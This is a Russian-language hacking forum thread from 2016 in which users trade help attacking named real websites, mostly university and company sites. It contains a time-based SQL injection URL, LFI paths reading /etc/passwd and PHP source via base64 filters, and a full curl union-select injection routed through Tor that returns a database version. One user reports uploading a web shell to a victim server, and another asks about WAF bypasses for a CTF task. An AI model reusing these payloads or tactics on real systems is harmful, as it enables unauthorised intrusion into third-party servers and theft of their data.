Ваши вопросы по уязвимостям.

08.11.2016, 20:39

t0ma5

Постоянный

Регистрация: 10.02.2012

Сообщений: 830

С нами: 7502006

Репутация: 90

Цитата:

Сообщение от qqq1457

↑
http://lidodo.astro.ncu.edu.tw/phpMyAdmin/index.php
есть phpmyadmin можно попробывать пробрутить
версия
http://lidodo.astro.ncu.edu.tw/phpMy...tml/index.html

не надо ничего брутить, врапперы вам на что в пыхе? читайте сорцы сайта

𝕏 Twitter Reddit Telegram Копировать ссылку

08.11.2016, 21:59

Octavian

Постоянный

Регистрация: 08.07.2015

Сообщений: 501

С нами: 5710646

Репутация: 24

помогите наити админку

http://icfi.ulim.md

08.11.2016, 22:36

BabaDook

Познавший АНТИЧАТ

Регистрация: 09.05.2015

Сообщений: 1,066

С нами: 5797046

Репутация: 40

Цитата:

Сообщение от Octavian

↑
помогите наити админку
http://icfi.ulim.md

Неужели ты эту уязвимость раскрутил

http://icfi.ulim.md/alltopics.php?cat=sleep(12)

Поищи тут может найдёшь, я думаю она где-то спрятана

ftp.ulim.md

moodle.ulim.md

git.ulim.md

gw.ulim.md

domain.ulim.md

files.ulim.md

redmine.ulim.md

s.ulim.md

vm.ulim.md

10.11.2016, 17:02

BabaDook

Познавший АНТИЧАТ

Регистрация: 09.05.2015

Сообщений: 1,066

С нами: 5797046

Репутация: 40

Здравствуйте дорогие. Прошу вас показать щеглу как надо кутить скульки

http://www.caresoft.ind.in/info.php?show=185

Цитата:

Сообщение от WallHack

↑
Помогите раскрутить LFI
_ttp://lidodo.astro.ncu.edu.tw/2015ATITC/index.php?page=../../../etc/passwd

http://lidodo.astro.ncu.edu.tw/2015...rt.base64-encode/resource=../../../etc/passwd

исходный код можем читать

Спасибо.

10.11.2016, 17:24

t0ma5

Постоянный

Регистрация: 10.02.2012

Сообщений: 830

С нами: 7502006

Репутация: 90

Цитата:

Сообщение от BabaDook

↑
Здравствуйте дорогие. Прошу вас показать щеглу как надо кутить скульки
http://www.caresoft.ind.in/info.php?show=185
http://lidodo.astro.ncu.edu.tw/2015...rt.base64-encode/resource=../../../etc/passwd
исходный код можем читать
Спасибо.

Код:

curl -s -k --proxy socks5://127.0.0.1:9150 -A 'mozilla' 'http://www.caresoft.ind.in/info.php' --data 'show=185+union+select+1,2,3,4,concat(999,char(58),version()),6,7+--+s'  | grep 999
          999:5.1.68-community

10.11.2016, 17:48

t0ma5

Постоянный

Регистрация: 10.02.2012

Сообщений: 830

С нами: 7502006

Репутация: 90

Цитата:

Сообщение от BabaDook

↑
Что же ты злой такой сегодня?
Как кошечка шипишь сегодня на всех.

да и как не злиться на людей который выкладывают дамп ачата на ачате?

по врапперам кстати неплохая шпаргалка

https://www.ptsecurity.com/ru-ru/ics/А.Москвин_О_безоп_исп_РНР_wrap pers.pdf

сорцы не смотрел в итоге? там забавный мускул пользователь с такими грантами что можно поменять хэш рутового мускул пользователя

11.11.2016, 03:14

qqq1457

Познающий

Регистрация: 13.10.2016

Сообщений: 33

С нами: 5043926

Репутация: 0

Цитата:

Сообщение от WallHack

↑
Помогите раскрутить LFI
_ttp://lidodo.astro.ncu.edu.tw/2015ATITC/index.php?page=../../../etc/passwd

шелл залил в пм написал

11.11.2016, 04:54

WallHack

Постоянный

Регистрация: 18.07.2013

Сообщений: 300

С нами: 6747446

Репутация: 32

Цитата:

Сообщение от qqq1457

↑
шелл залил в пм написал

Спасибо, поторопился я с выводами.

11.11.2016, 14:54

t0ma5

Постоянный

Регистрация: 10.02.2012

Сообщений: 830

С нами: 7502006

Репутация: 90

подкиньте мысль, boolen-based скуль, waf фильтрует "union" ")" "/" "="

какие могут быть варианты запросов?

= можно обойти оператором "like", / в общем то не особо и нужен, за union я уже смирился, но вот чертова закрывающая скобка -_- ( именно waf, потому что в хедерах есть статус Waf-Capulta: Passed/Blocked )

даблурлэнкод пробовал

post/get waf обрабатывает, через cookie данные не уходят

потыкать можно тут ringzer0team.com ( sqlj последний таск "Internet As A Service" )

-------------------------

что удалось узнать, все эти запросы как то связаны со https://ringzer0team.slack.com ( то есть с slack.com )

правда при чем тут мускул не понятно, не одного нормального примера кода в интернетах не нашел

в запросе присутствуют поля url,title,description

некоторые параметры бд

storage_engine = InnoDB

hostname = lxc26-sql-search

version = 5.5.50-0ubuntu0.14.04.1

sql_mode = NULL

datadir = /var/lib/mysql

в корне сайт два бесполезных файла

/files/test.txt

/files/useless.txt